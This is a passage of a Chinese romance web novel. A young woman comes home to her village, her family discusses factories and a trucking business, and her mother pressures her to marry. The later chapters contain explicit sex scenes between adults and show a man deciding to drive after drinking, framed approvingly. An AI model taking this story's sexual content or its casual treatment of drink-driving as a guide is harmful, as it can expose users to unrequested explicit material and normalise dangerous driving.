“如今我们的面料、服饰市场已经全国出名,也应该试着走向国际。有外人眼红不奇怪。若是晨芳国际市场那边供不应求,可以考虑自建大楼作为第二市场。”
林语晨笑起来,“这要投入大笔现金,得与芳芳商量。”
“当然。我的意思是你不考虑参与建筑业吗?”李丽珍说起现在的热门行情,“我们的房屋是70年代建造的二至三层的老房子,现在可以建造五到七层的高层楼房。”
林语晨动过入房地产行业的心思。但是,她最终放弃这块肥肉。
“师娘,贪多嚼不烂。现在的建筑标准不够全面,我们再等等吧。”
“等?你明白市场是瞬息万变,等可能意味错过。等后面进场,前面的老大哥未必肯让肉。”
李丽珍倾向于把晨芳国际的资金留在国内,发展国内市场。
林语晨听出她的意思,没有直接反驳:“我同意师娘的看法。但是,说实话,想要做大做强,离不开国际资本。
我的建议:一是投资国内有技术底子的面料生产商。二是借何方明的成衣工厂,替他搭上国际市场,引入更多资金,开拓新的国际领域。至于房地产业,国土面积大,国人很多,真不妨再等等。”
李丽珍看她心意已定,也试着退一步:“明白。你不是不入场,只因我们现有的资本还不够入场的资格,这才是你说的时机没到。”
林语晨是这个意思。若真要啃这块肉就必须要有成熟稳健的现金流。不然,几万吨混凝土、钢筋下去,全成预售楼房。国人何必为难国人。
幸好李丽珍不是一头扎进去不讲道理的主,沟通很有效果。
李丽珍举起精致的纹花茶杯,同林语晨碰杯:“我提前祝你在国际市场布局成功。回家帮我给你的父母带好。”
“好,谢谢师娘。”
林语晨被李丽珍送出门,回首这幢红瓦小洋房。
以前心心念念进城安家,如今更想提前实施新农村建设,让整个新建村改头换貌,人人住上自建小别墅。
不过,若要实现这个愿望,必须得拥有一笔可观的流动资金。
如今,真不是轻易入房地产业的最佳时机。
林语晨坐在车上,细想李丽珍透露的信息:姓邵,搞地产业……不会与楚邵这家伙有关系吧?
自从楚邵在深地缴纳罚款后,应该没有余钱东山再起。
按赵有归给他的设想,楚邵会在新建造纸厂上班,本本分分做人。但是,楚邵这种登过高的人又怎么可能脚踏实地一步步起势,必然另谋出路。
林菲儿与他在一起,多半不会留在新建村。那他们会去哪里发展呢?
深地?海市?又或者苏市,邵美芬娘家人在的城市?
“两年半,他们发展怎么样呢?在离开前,我得了解清楚。不然,走得可不安心啊。”
半个多小时后,林语晨接上赵晓鹤,一起出城回新建村。
小轿车进村,被不少人围观。
林语晨把车停在外墙下,下车后看着一脸呆滞的林兰香,软软叫了声:“妈!我回来了。”
林兰香没有激动、没有表情,掉头就走,入堂屋进房关门。
围观的赵小翠在人群里朝林语晨笑:“大学生舍得回来了?”
林语晨见是她,喊:“小翠姨。”
“哎,”
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赵小翠感觉全场的目光围过来,半责怪半热切说,“你妈这是怨你呢。我进去同她说说。”
她进了院,回头朝大伙笑,散发一种奇怪的荣光。
赵晓鹤把东西拎进林家门,出来说:“语晨,东西放好了。我先回趟家,晚上过来吃饭。”
“好。”林语晨看着叽叽喳喳围观得一帮人,“各位叔伯婶子姨,谢谢你们来看我。”
“是啊。”赵晓鹤帮腔,“语晨坐一天火车,又开车回来,已经很累。大家行行好让她进院休息吧。”
有人闻言散了,有人杵在门口不走。
赵晓鹤无奈地笑,在林语晨的安抚下先一步回家。
王蓉花问出余下人的想法:“语晨啊,你是去读书吧,怎么开车回来,嫁京城人了?”
“我去读书,嫁什么人啊。书读得好啊,是能给家里赚钱。我的车是问人家借用。”林语晨的成绩赚不了钱,但不妨碍说别得读书好的学生可以挣奖学金、各类奖项奖金、课题佣金等等,以此岔开村里人八卦的心思。
王蓉花持怀疑的态度。
大家都知道读书好,但读书能赚钱?不一定。
旁人问:“读书好能找好工作。读书就能赚钱?”
“当然。不过,读书永远不是孩子唯一的出路。”林语晨不再多说,朝众人笑,“谢谢叔婶,我回家了。”
她转身进堂屋,没再理这群人。
王蓉花在院门外啧了声:“到底出息了。”
村道上响起汽车的喇叭声。
众人回头看去,赵有归的老吉普车开过来,大家纷纷让开道。
王蓉花嘿笑:“今天什么好日子?有出息的人都回农村。”
赵晓琳从副驾驶里探出头:“花婶,你们围这做什么呢?”一下子看到几人身后停在围墙脚下的车。
“那是何罗秋的车。有归哥,罗秋也在这吗?”
赵有归的眼神意味不明:“不清楚。”
王蓉花回应赵晓琳:“大学生回来啦?婶近来感觉喉咙痒,帮婶看看病啊。”
“好。语晨姐回来吗?”赵晓琳又问。
“回来了,在家呢。穿得可洋气,简直像换个人,同你哥一起回来。”王蓉花本想同赵有归搭搭话,人家车子已经缓慢路过大家,往家开去。
林家堂屋里,赵小翠从房里出来,轻声说:“语晨啊,别说婶怪你,你是去读书,又不是远嫁。这一年到头打个电话像什么话,逢年过节,学校放假就回来看看啊。”
“小翠,别说她。你先回家吧,一会你家那口子和我家大宝常日班回来,该吃晚饭。”林兰香送走赵小翠,回头看着跟着的女儿,睨她,“在家不用穿这么好。”
“妈!”林语晨扯起笑脸。
林兰香直接绕过她进灶房,一副“我就是在生气,不好哄那种”。
林语晨没法子,先回房间换衣服,听到敲门声,问句:“妈?”
“我烧两桶热水,你就着洗洗吧。”林兰香放好水,不等女儿出屋又转去灶间。
等林语晨收拾好后出门,家里已经很热闹。
林大宝看着一身厚袄子长棉裤的闺女,仿佛回到刚送她离开家门那会。
“晨晨……”
“爸。”林语晨看着几人,一一叫去,“赵大伯,秋霞婶婶,晓琳,晓鹤,有归哥……”
赵松华笑说:“晨晨已经是大姑娘了。咱们晓琳比她小两岁吧,跟个面团孩子似。”
“爸!”赵晓琳不服气,轻哼出声,目光看向赵有归。
赵有归正默默地看着林语晨,人更精致,村里的细布袄子也压不住她散出来的娴静贵气。
“回来就好,同林叔林姨一起过个团圆年!”
“嗯。”林语晨应道,“婶婶更精神呢。”
“那不是听了你的话,我就不跟有归在城里闷着,回来住两年,精气神都养回来。”沈秋霞笑说,拉林语晨去灶房,“咱们去帮阿香做饭。”
晚上,一张大圆桌上几乎被坐满。
赵家二叔松林、三叔赵松海也被喊来一起吃饭。
林大宝先敬大家一杯:“当年,要不是你们大家帮忙,我家晨晨也没有今天。松林家的一双儿女借书给她,松华去学校帮忙交涉入学,松海帮我这残疾的……接送她来回。我真是从心底感谢你们,这杯酒我敬你们!”
几个大男人展笑,都说林大宝客气,一起喝过一轮。
因赵有归在,大家接着开始敬他的酒,又说起近年造纸厂、村里的变化等。
70. 催婚啦
“骆家村作为八一村的二厂,一点没影响我们。我们在造纸厂隔壁开印刷厂,由八一厂的张天鸿牵头,承接办公纸张、作业本印刷、裁剪、装订等工作。如今,新建造纸厂的业绩是年年翻,印刷厂的利润也非常可观,往后可能形成一条龙一样的生产销售服务链。”赵松林兴奋地解释这两年村集体厂的变化,以及展望的未来。
赵松海:“这么说今年大家又能拿一笔不菲的股份钱。”
“是啊。我们都能过个好年。说起这事得感谢有归。”赵松林对好奇的众人说,“当年,有归让我向上面打报告,希望两家合村,一起办集体厂!
当时,我是持怀疑态度,犹豫不定的时候接到八一造纸厂张德梁的电话。他答应给我们办厂援助,帮我们把头开起来。这心啊一下子落地稳了。”
赵有归看着众人望来,笑说:“二叔夸张了。当时,我听说语晨和别人要合资办厂,才有这个想法。归根结底还是语晨起个好头。”
林语晨笑意浓浓地看去:这家伙真不揽功。
“我可没有八一造纸厂这样的资源。”
因为你,让我搭上张家的人脉,走上另一条路。
赵有归望着她,接过话:“正好我认识张天鸿,由他牵线搭桥,促成办集体厂这件事。集体厂能办成是大家的功劳,我和语晨,不值一提。”
大家听着这话都有些回过味。
林大宝赶紧笑说:“喝酒!大家敬有归一杯。”
赵晓鹤跟着碰杯,也想起自己得那份功劳。
“当时,我找二叔说这事,以为自己是头一份。原来,你们早在背后商量好。我还奇怪二叔怎么同我说那样的话。”
赵松林看向侄子和旁边的林语晨,无奈地笑着:侄子到底没赶上人家有归的能耐。
“二叔说什么话啊?”
借机打趣他,老大不小,该成个家。
“说……”赵晓鹤发现话题不对,没敢再搭腔,低头吃菜。
赵松华举起杯子碰二弟的酒杯:“孩子们的事由他们自己解决。总之,集体厂办起来,咱们新建村家家户户的日子好过不少。”
林语晨低头吃着菜。
没想到当年同张天鸿就这么一说,他竟把学校作业本等纸张承接业务转送给新建造纸厂。
兜兜转转,学校纸张系列的业务最终回到新建村这边。
命运有时候就是这么奇怪吧。
“骆家村那边的情况怎么样?”赵松华好奇问。
“骆家村的造纸业业绩不怎么好。新厂落成时由钱忠源——原八一村造纸厂的车间主任管理。起初,他们接了八一造纸厂的炮仗纸张业务,结果质量不过关还是怎么,一直没起色。
前段时间,造纸厂权利已经被张天鸿收回去。”赵松林说起这个叹了声,“听说骆家村那边穷的穷,富的富,戾气很大呢。”
“张德梁不管啊?”赵松海问。
“他已经把八一造纸厂交给张天鸿,就是有归说的兄弟吧。有消息说张德梁准备进省城接手什么大国企。”
赵松林轻笑,“有本事的人在哪都能发光发热。没本事的人,你就是拱他上台,也唱不了几台大戏。”
众人点头称“是”,酒过一轮。
赵松海起个话头:“对了,今天我家三兄弟在这,我有个提议,说出来大家听听。”
赵松华:“你要说回家关起门来说嘛。”
“没事没事。”林大宝赶紧说,“阿海你说,趁有归在,说出来听听。”
“对。”赵松海看向赵有归:人是市局局长,有些事找他帮忙就是他一句话的事。
但是,赵家人的面子没有林家外来户的面子大,真得趁现在说。
他又说:“两年前,我盘下林裕宝的货车,拉石头拉货跑外地,攒些钱。现在,我打算再买辆货车,正式跑长途货运。
骆家村的有钱人都不靠造纸厂发家,而是跑外地经商。比方晓琳同学……姓淳于的,带一门亲眷赚不少钱。
所以,我想组个车队。先搞两辆货车,帮省城那边的面料厂、服装厂拉货到外省,或者把咱们造纸厂的废纸材料拉回来。
有归,你觉得叔这个主意怎么样?”
众人的目光落在赵有归身上,连林语晨都看去。
大冬天,赵有归只一件白衬衫和厚布中山外套,朴实得同这帮村里男人没啥区别。若说区别,大概是他比任何人都坐得笔挺,体魄更大些。
“海叔的想法很好。如今,城里运输业确实紧张。你还可以注册个运输公司,先用两辆货车跑起来,再逐渐做大。咱们造纸厂本身有车,但是,不够用吧?”
“没错。我帮造纸厂拉货,有时候就觉得可以再加辆车。现在有你这句话,叔的心里踏实多了。叔敬你。”赵松海举起杯子。
赵有归递杯子,碰后浅喝一口。
赵松林:“你要拉车队,两辆车怎么够?这两年厂里的业绩好,我家也攒些钱,两辆三辆买不起,但投资一辆车还是行的。
我买车,你来接业务管拉货送货,怎么样?”
“好啊。不过啊,你得帮我管账。咱们亲兄弟明算账,一是一二是二,不少你不亏你。”
赵松海本就是这个意思,说出来也想让大家投钱,心里想:没儿没女,那就多搞钱防老。既然要搞就往大的搞。
林大宝接腔:“这两年语晨读书没花家里一分钱,还给我们打钱。正好,一辆货车三万多,我可以凑凑买一辆。”
“爸。”林语晨有些不赞同。
马上要出国,家里的钱都拿来买货车,二老身边就没有余钱。没有钱在身边,生个病都看不起,实在让人不放心。
她手头是有点钱,但基本都投在外面,其余的流动资金打算到国外创立办事点。
说起来钱不少,但用钱的地方更多。
饭桌上静了瞬。
林大宝赶紧说:“闺女是夸我主意正呢,没错过阿海的好机会。来,干杯。阿海,咱就这么说定。”
赵松海赶紧答应:“谢大宝哥,回头我让二哥拟个章程,请有归帮忙联系货车厂家,拿最公道的货车价,保准大家不吃亏。
有归,叔的货车队能不能拉起来看你啦。”
赵有归收回望向林语晨的眼神,笑应:“好。”
这个忙无伤大雅,可以帮。
沈秋霞和林兰香从饭桌上退去,到隔壁聊天。
赵晓琳觉得没意思,又想同林语晨说说话,一直杵在餐桌上。
然而,林语晨一直坐着不走。
赵晓琳等不得,越过两人中间的赵晓鹤,问了声:“语晨姐,你开得是何罗秋的车吧?”
林语晨嗯了声:“是啊,他借给我,怎么了?”
赵晓琳不明白:“淳于芳的意思吗?”
“差不多。”林语晨应完,笑说,“怎么?担心我把你家罗秋的车弄坏啊?”
赵晓琳的脸微红,瞥眼跟人说话的赵有归,垂脸说:“我好奇问问。我听说当年是你不让深地水客帮他们带货,才害罗秋……错过开学。”
林语晨扬眉:“你为何罗秋鸣不平?李伶俐有没有说:何成可以帮他们用正规渠道拿货?他们为百来块钱甘愿走私冒险,也不愿向政府缴纳关税。结果出了事就赖我啊?”
即使他们成功把货带回来,赵有归这种品性的人管着市局,走私货入城也会被他收缴。终归是贪便宜害自己。
“……”赵晓琳哑口。
她也是听李伶俐放假回来这么一说,一直为何罗秋觉得不公平,而罪魁祸首应该是林语晨。
林语晨没有放过她,继续说:“你借给李伶俐的钱,她还了吗?”
“……”赵晓琳猛地起身,委屈说,“爸,我吃好了,先回家。”
赵松华同大家聊着天,听到两人谈的话,望着离去的女儿,笑说:“我就说她没长大,随她去。语晨,我听说过那件事。当时晓琳的钱是留着上学,却借给她同学做生意,到现在没要回来。
她妈让她去催。傻丫头说人家的生活条件不好,死活不肯催。其实,这孩子重脸面,借钱出去容易,拉不下脸讨回来。”
赵晓鹤做生意后放开
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不少,直接吐槽:“不止如此。李伶俐从深地回来后问我借钱去上学,也是到现在都没还。不过,当初的事对她打击确实挺大。头一次她们跟着语晨赚了钱,第二次想搞把大的,问亲戚借不少钱。
我想,那次货一定很多,不然,何罗秋不至于坐一年牢吧!”
赵有归知道点这事,只听不言。
赵松海:“这要怪晓琳那个男同学太傻。男人应该有担当,但不是什么事都可以抗。这人有案底,谁家姑娘肯嫁给他?”
林大宝想着这出事的男同学借车给女儿,人品应该差不了。
他笑说:“扯远啦。大家来喝酒。”
林语晨不打算再吃,这饭桌上就没女人谈大事的份,大糟粕!
端空碗回灶房,听沈秋霞和林兰香在说话,她放下碗准备走,被两人拉住。
沈秋霞做和事佬:“晨晨,过来。两年不见越发好看。阿香,别僵着了,这家里不就你最想她吗?”
又说,“晨晨啊,一到你打电话的时间,你妈什么活都不干,就跑村委蹲电话。她还念叨,等有钱在家装一部电话机,每天都能跟你通话。”
林语晨看沈秋霞使眼色,笑抱住林兰香:“妈,别生气了。我很想你。”
“哼,我喊几次让你放长假回家,怎么就不回?妈给你出车票,你都不回来。”林兰香觉得挺难过,“你爸说你这趟回来后就飞国外,你干脆走的远远,以后都别回来。我和你爸就当没生过你这个女儿。”
“阿香,说什么气话?求学不回家,那是有正经事。往后晨晨有时间,得空了,隔三差五总会回来看看咱们这些老人。”沈秋霞劝说。
“是。婶婶说得对。”林语晨没让林兰香挣脱怀抱,继续揽着她亲热,“妈,我错了。你原谅我。我真得是为赶学业。
你知道我底子差,得比人家多花时间多用功。”
“我是这个意思吗?你去美丽国要多久?我听他们说,出国留学的人很少回来。国家供养你们,你们在外面定居不回家。我还有你这个女儿吗?”
林语晨没想到林兰香打听很多,举手发誓:“妈,我出去学技术,赚外国人的知识和钱。我绝对会回来,祖国是我家,你在这我家在这!”
“我是这个意思吗?”林兰香的唇角往上拉,说的话还犟。
“我就是这个意思啊。妈,你放心,最迟两年,我一定回来。”林语晨紧紧地抱住她。
林兰香一听两年,又觉得心酸,看到沈秋霞安慰人的笑容,撇开脸:“两年?你的青春都被耗没了。同你一般大的女孩子,孩子都抱上俩啦。若你想让我放心,出国前先把证扯了。不然,我不同意你出去,我气你一辈子。”
“……”林语晨眨巴眼,“证?结婚证啊?我同谁扯证啊我?”
沈秋霞轻轻地抿唇笑:“咱们村里有出息的小伙子不少,便是你的男同学,应该也不少吧?”
这会林语晨理会过来,一个妈一个婶凑在一起嘀咕啥呢?
原来有预谋啊。一个白脸、一个黑脸,唱大戏呢!
不过,林妈看好赵有归,帮沈秋霞来试探吗?
林语晨的心思微动,转眼说:“妈,我挺累,先回去休息。”
“你别走!”林兰香抓她,结果姑娘跟个猴子似,窜没了影。
她朝沈秋霞说,“大嫂子,不成啊。这事有点悬。”
沈秋霞无奈地笑笑:“或许晨晨不喜欢有归吧。咱有归没这福气。”
林语晨从灶间出来,望向大堂门口灯火下的男人,宛如小猫般叫声:“有归哥!”
“嗯。”赵有归拿着碗筷进灶房,同里面两人打声招呼。出来后,林语晨在房门口娉娉婷婷地望来,脚尖一转,径直向她走去。
低沉的嗓音压制某种无名的力量,缓而有力问:“累吗?不累的话,出去走走?”
“我就在等你啊。”林语晨带笑转身,没看赵有归惊讶的脸孔。
赵有归深深地望去,那道背影宛如映在眼底,刻在心上。
左手按住鼓胀胀的裤兜,心下一横,大步跟上去。
71. 车里浪
深夜的灵江边实在不好留人,江风大,寒气足,有几分临江仙的意境。
林语晨从吉普车上下来,迎风站一会就受不住,搓手呼口气,转身时肩头落件军大衣。
这让她想起赵有归刚回来的时候,林妈给他送件衣服,在手电的光下,夸他身板好。
赵有归站在她旁边,看着她伸来的手,稍许诧异她的主动。
林语晨拨弄他两件单衣,外罩的工装类似夹克,不怎么厚,只夹一层薄袄,里面只一件白衬衫,再是不知何时戴上的围巾。
正是当年林语晨借送味精时留给他的纪念。
她想起那段时间隐藏的“坏心思”,好奇问:“不冷吗?”
“风口有点冷。”赵有归异常实诚,目光落在她的指尖。车灯的黄韵中,这只漂亮的手没有离去,反而轻柔地拉扯格子呢围巾。
这股奇妙的微弱拉力让他听不到江风催荡江浪的声响,也不觉得寒意袭人。只剩下朦胧光晕中莹莹如玉的佳人。
“语晨……”
“嗯?”林语晨扬着诱人的尾音,松开他的围巾。
当时为什么送他围巾呢?因为要离开两年啊。
两年的变数太多,他可能在这期间接受赵晓琳,或者别的女同事……一块围巾无足轻重,却是一份睹物思人的惦念,一份女人独有的小算计。
夏有巾帕,冬有围巾。
何尝不是林语晨对赵有归得一份长达两年的考验。
林语晨满意他今天赶回来。
回灵江市第一件事找赵晓鹤,更深的意思是通过赵晓鹤通知赵有归自己回来了。结果一如她所料。
但是,赵有归是有原则的人,不会轻易打破一些他恪守的规矩底线。
林语晨已经做好某个决心,势必在今晚让他彻底打破他的原则。
“今天,你和晓琳一起回来?”
赵有归随风浪漂动的神思回笼,拳手抵在唇边,轻咳了声:“在凌源县的街上碰到她,顺道带她一起回村。”
“哦。我以为两年不见,你和她已经同进同出呢。”林语晨说完转身,绕到车子后面的背风处。
不管怎么说,冻出感冒不是她的本意。
她出来时说随便走走,可这天寒地冻能走去哪?她就提议开车到江边转转。
大寒天,江边有什么好转呢?图个寒风萧瑟、僻静无人,图这个时代没有摄像头。
赵有归追上去,跨步拦在她前面,微微肃容:“你还误会我和晓琳?我有喜欢的人。她有……追她的男人。”
林语晨被这声喜欢逗笑,看他挡着路,侧身一靠,斜在后车门上:“你说何罗秋?可是罗秋到现在都没追上她。”
“那是……他们的事。我们……”
“我们……不值一提!”林语晨在半昏半明中看着他吃瘪的样子,忍不住笑出声,“逗你玩呢,有归哥。你怎么一点没变,还这么严肃认真。”
赵有归轻轻地舒口气:“对你应该认真。”
“……是嘛。”林语晨直身跨近半步,双手自然地插进他的薄夹外套,隔着微暖的衬衫环住他的腰身。
肌肉在眨眼间紧绷。
男人下意识的生理反应让赵有归往前挺下腰身,又急忙后撤。
慌乱中,他好像意识到什么。
“语晨?”赵有归极快又用力地按在她的肩头。
姑娘的沁香混着寒风扑入心脾,让微醺得他反应越发迟钝,甚至有种推不开她的轻浮无力。
林语晨就这样靠在他的心口,随着两人间的热力上升,听到的心跳声在逐渐加速。
毫不犹豫得再添一把火。她略带哆嗦:“有归哥,我有些冷。”
赵有归把她肩头滑落的军大衣拉好,努力克制着:“我送你回去。”
“好。”林语晨瞬间退开,转去副驾驶。
来时,她开的车。
赵有归屈起手指,跟不上这姑娘的节奏。
往日镇定自若的心态在她这里丢盔弃甲,有种莽将对上高贵公主的挫败感,而这种感觉里夹杂隐秘的兴奋、激动、暧昧,乃至难以诉清地泛上的欢愉……简直让人欲罢不能、无所适从。
他暗吸口气,带着幽幽目色转去驾驶室。
两人坐在车里,没有寒风,不像刚才那么紧密,却又有另一层奇怪的气氛:暧昧的、暖融的、白色仙气的,充斥男女荷尔蒙的诱人氛围。
彼此呼出的热气侵蚀挡风玻璃。灯光投射在远处的江面,朦胧的烟气从江上升起,须臾躲入黑暗,让人联想到江南烟雨宛如朦胧情丝的诗般意境。
赵有归没有马上开车,喝了酒后不能开,想让林语晨继续开回去。
他转头望去,姑娘不仅把军大衣脱了,连外罩的大袄子都脱掉,露出里面的短款粉色线衣。但凡她的动作幅度大一点,就能看到莹白的雪肤,一手可握的纤细腰肢……
脑子已经短路。赵有归用此生锻炼来的意志力撇开脸,暗暗深呼吸缓解这份升出的毫无理智的觊觎。
他觉得今晚的林语晨异常的怪异,有些……主动……过于主动……奇怪的诱人主动……
林语晨瞥见他转回去,抿唇笑着:“有归哥,你很紧张?”
“……”赵有归轻咳,没过脑问句,“你的男朋友安国呢?”
收到那封她接受安国学长的信后,八个多月的时间里,那位学长对她做过什么?
是不是揽过她纤弱的腰肢,拂过她修长的玉颈……亲吻过那如满月的红唇。
但凡这样想,赵有归就有种克制不住要爆发的冲动。
林语晨眨着眼,勾起唇,没有回答。
“明年什么时候走?”赵有归在心里说:这是她的自由、这是她的私事……可以问一些别的问题,比方,她离开的话,与安国学长就断了吧。
一边问,一边启动车子,决定打破喝酒不开车的原则,送她回去。
“正月过完吧。”林语晨听到车子启动声,莞尔一笑:原则就是在一次次的不经意中打破吧。
她把手里的军大衣扔向后座,发现他没系安全带,眼波流转,倾过身去,“你喝了酒,开车本就危险,系上安全带。”
赵有归握住方向盘的手爆出青筋。这颗在下颚、胸前拱的小脑袋搞半天拉不出安全带……卷曲的头发被呼出的白气浮动,荡回一阵诱人的芳香。
引诱的意味太明显!
又或者禁欲多年,面对她早就毫无克制力?
心悬在喉口,有种随时控制不住的失措。
“没……没事,我自己来……”
手挪过腰侧,与她微凉的手碰撞,如有自我意识般握上去。
赵有归有过被女人投怀送抱的经历,以往他都是冷笑着推开,对那些意图送礼送女人的行贿者毫不客气。
然而,只这个女人,像毒药一样,让人全身发麻、血液倒流,鼓胀得想要做点什么。
欲念压抑久了,但凡有意志不坚的时候,一旦松懈,就再难回去。
赵有归知道,弦已经快要断了。
“林语晨,够了。”
“很快就好了。”林语晨没抬头看,挣出他的手,继续摸索安全带的扣子。
“够了。林语晨。”赵有归受不住这么近的距离,侧身钳住她的双肩,让她坐直。
林语晨笑意盈盈地望去,对他的严
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肃正色全然没有一点害怕。
男人眼里的软弱和渴求远比他的脸色更能说明他此时的内心世界。
这是林语晨上辈子得来的经验,以及这辈子专业教会的辨识能力。
赵有归定定地放开她的肩头,转身坐好看着前方,做个明显的深呼吸动作,试图让那个不对的念头沉下去。
林语晨又笑出声,看着他红红的耳尖,手指抵在下巴处,歪着头,可爱地说:“我和安国学长分手了。你猜,我和他交往时亲热过几次?”
名为理智的弦就这样被这个“可恶女人”用嫉妒的刀挑断。
赵有归迅猛如豹般侧身,眨眼出手,按住她的后颈,宛如提一只脆弱的小猫,拉过来吻上去。
这吻毫无技术含量,只有粗辱的碰撞,力道大得甚至磕到彼此的牙齿。
“嘶……”林语晨痛呼,察觉到他要退,双手一爬一勾,环住他的长颈,轻嗔软语,“我教你……”
“……”赵有归黝黑的眸色深几许,验证从刚才开始到现在的感觉。
唇尖被轻柔地浅啄,软糯舌尖带来试探……
他这好徒弟在几下过后立即学会反攻,只不过比这位蓄谋已久的师父更用力更强势。
不知何时,他已经倾过副驾驶,一切仿佛被本能支配着摸索着,直到林语晨轻哼了声,理智复苏片刻。
原本很挤的副驾驶意外的宽敞。
座椅早在林语晨上车后被往后推。他动情地亲吻她时,林语晨已经慢慢地斜倒椅背。
赵有归属于军人、警察的判断力在复苏,理智在沉沦的边缘徘徊。
挣出林语晨的双手禁锢,抵在她上方,哑声说:“林语晨,你在玩火。”
林语晨轻轻地咧唇,沉醉般笑着,说出的话却又极其精准:“你想要我。”
赵有归真想笑一声,这个女人总在精准地踩雷。他想起求婚的事,手伸向裤兜,取出那只藏一晚上的红盒子。
然而,林语晨的眼神微瞟,手如灵蛇般攀附上那只试图打开盒盖的手,顺着他的腕骨滑入大掌心,再就十指相扣……
赵有归手里的盒子就这样掉到不知哪里。
他要说话,挺身而起的林语晨吻在他的下颚,游离着封堵他的唇。
微微的酒香带着彼此浓郁的火力,撩拨属于成年人的欲念。
渴望与对方更深地碰撞。衣衫被撩起,风纪扣被解开……寒冷让林语晨有些哆嗦,覆上来的火热让她感受到近几年身体渴求的满足。
男女坦诚,一切变得顺其自然。
赵有归感受她指尖掐在后背的力量,掌心的热力,颊边的柔软……头颈被她拥在下颚。
忙乎中,不忘说:“林语晨……嫁给我。”
“呵。”林语晨看着车顶,轻哼了声,拉着他得空的手按在被冷落而起伏的心脏处。
包裹的饱满感觉让她再次说出刺激他的话,“除非,你能把我征服。嗯……”
赵有归彻底沦陷,狭窄的空间阻挡不了他的发挥,亲吻她渴求的每一寸土地,让她也为自己而沉沦。
欲就这样肆无忌惮地绽放。
双束光线照在江面,不知是风吹着它们晃动,亦或江水引起的波荡,或许车本身在震晃。
林语晨看着驰骋的男人,掌心抵在氤氲雾气的玻璃上面,引出五个清晰的指印。
外面的风很冷,但是车里很热。
在剧烈地颠晃中,彼此像春日里翱翔高空的风筝,在共鸣“啊”声中自由而去。
她紧紧地揽抱他,而他也紧紧地贴在她的耳边……彼此的呼吸交错,水乳已经交融。
时间仿佛在这刻按下暂停键。
72. 要孩子
林家院子的屋檐下亮着盏黄灯。
林大宝送完客人,洗过后在里屋呼呼大睡。林兰香忙一天也累,想着女儿和有归出去必会被送回来,就留盏灯。
林语晨被赵有归抱进院。两人像做贼一样轻手轻脚,尽量不发出一点声音。
等进房后,林语晨拉住赵有归,水润润的眼神里明晃晃写着:留下来。
赵有归已经打破好几个原则,暗吸口气:“我去灶房看看,端点热水过来。”
林语晨松开他,等他离去,滑入被窝。
不得不说亲妈好,碰到被窝里的热水瓶,幸福地笑出声。
她脱掉线衣以及没扣紧的内衣,光溜溜地躲进温暖的被窝。
赵有归端来水,就见一张困顿的好脸使劲张着双眼望来。他放下水盆和毛巾,背过身:“你洗洗,我……”
林语晨暗叹了声,这个男人古板起来真是让人为难。哧溜下床,哎了声,转眼就被赵有归拿被子捂好。
她从被子下抓着他的手:“怎么?吃干抹净就想跑路?”
“我一定负责。明天你和我去镇上领证。”赵有归急切说。
“明天周日,赵局长还能越权让民政局为你加班开门?”林语晨看着他恍然、纠结、懊恼的多变脸色,想来这个男人现在的内心世界复杂得一时半会说不清,拉他坐回床沿,“上来。”
“……”赵有归的理智拉扯两下,败给这双如玉如勾的手臂。他脱了衣服上床,与她靠在一起。
被窝好暖好香,暖得人头脑发热,香得人目眩神迷。终究,圣人也逃不离心爱女人的邀请。何况,他只是个普通的世俗男人,一名渴望爱情多年的老男人。
“语晨,你怪我吗?”他拥着她,紧张地问。
“……怎么这么说?”林语晨窝在他的怀里,宛如一只小鸟。
赵有归觉得自己很卑鄙,在林语晨即将飞往更广阔的天地却试图用婚姻、感情束缚她。
他闻着她头发上的馨香,爱情里的胆怯让他不敢解释。
“我……周一去好吗?”
林语晨知道他没有放下扯证的打算,从他的怀里仰首,轻啄在他的下颚,转移话题:“你竟然洗了脸。”
“嗯。在外面擦了下。”赵有归看着突然仰起身的人儿,眼前明晃晃的风景让人眼花缭乱。
热流再次汇聚在一处。
“天冷,快躺下。”他把她揽在怀,彼此心口相贴,更觉得软暖地亲密无间,热得心头骚动。
林语晨察觉到他的身体变化,权当不知道。女生第一次时不要纵欲,容易受伤。
她趴在他的心口试着入睡。效果比她预计得要好。
赵有归的自控力、耐力、克制力以及体温,让林语晨回家的第一夜睡得很好。
早上的天色寒冷潮湿且阴沉,下着丝丝绵绵的寒雨,夹杂雪珠子。
林大宝同林兰香说了声,撑伞来到林语晨的房门口。
“晨晨,爸上班去了,过几天就放年假,好好在家陪你们。”
赵有归睁着眼看帐顶,张口想回话,仿佛被一团棉花堵住喉咙。
林语晨在他身边闷笑,哑着嗓子回道:“知道了,爸。”
林大宝听女儿的声音有点哑,急说:“家里没什么事,你就多睡会。天冷,多喝热水,别在家冻出感冒。啊?”
房里的林语晨看着低头看来的歉疚眼神,轻咳两声,回应:“好,爸,上班顺利啊。”
林大宝听这声音正常多了,松口气:“你在家好好和你妈说说话,多陪陪她。爸走了。”
房间里的两人等了一会,确定房门外没有动静才敢喘大气。
林语晨发现赵有归要下床,拉住他粗壮的手臂,贴在心口:“你干嘛?”
“……起床。”赵有归起不来,被她贴身扯着,生出股无奈。
整个晚上他像在打一场没有硝烟的战争。
敌人不是林语晨,而是他自身。
此时,天亮了,人也醒了,他想快些离开。
然而,在林语晨仿佛指控般的眼神里,他又生出离开不对的想法。
“你现在出去被我妈逮个正着。你怎么解释?”林语晨睨去,松开抱他的手。
赵有归往里挪,她的手却游走在自己的脸颊、眼底,哑声说:“我和林姨……解释。语晨,别闹。”
林语晨在被窝下追过去,双足盘在他毛糙的有力大腿,细声细气说:“一晚上没睡啊?黑眼圈浓得像熊猫……不知道还以为你通宵抓贼呢。”
赵有归被她闹地着恼,倾身压过去,吻在她的唇口,又去啄她的颈项。
一夜过去,他已经无师自通,手在被窝下的暖玉凝脂上游走。
林语晨轻哼着笑出声,索索地揽住他的后背。等人覆上来,亲吻他的锁骨、胸膛。
“咚咚……晨晨……”
早擦枪走火的关键时刻,房门再次被敲响。
床上相叠的两人像受惊的兔子一样僵持不动。赵有归甚至热地凝出汗。
林大宝不会进女儿的房间,但是林兰香不一定。
林语晨看着赵有归额头凝聚的汗,在他的腰、臀处用力一堆,听到一声低哑地闷哼。她张了张被窝下的身体,朝床外喊:“妈,我就起来了。”
“哦,没事。妈出去摘点菜,灶上热着早饭,你自己去吃。”
“好。”林语晨微微蹙眉,捶在赵有归的肩头,“嗯……”
赵有归一枪命中后心头的紧张松弛下来,待屋外没动静,缓而慢地动作起来。
林语晨配合他,轻轻地哼哧着,直到他磨人的速度快如奔驰,掐紧他的臂膀肌肉,随时准备迎接风雨的到来。
“啊……”赵有归闭下眼,再睁开后亲吻她的眼睑、脸颊,最后吻住她的唇,“语晨,谢谢你。”
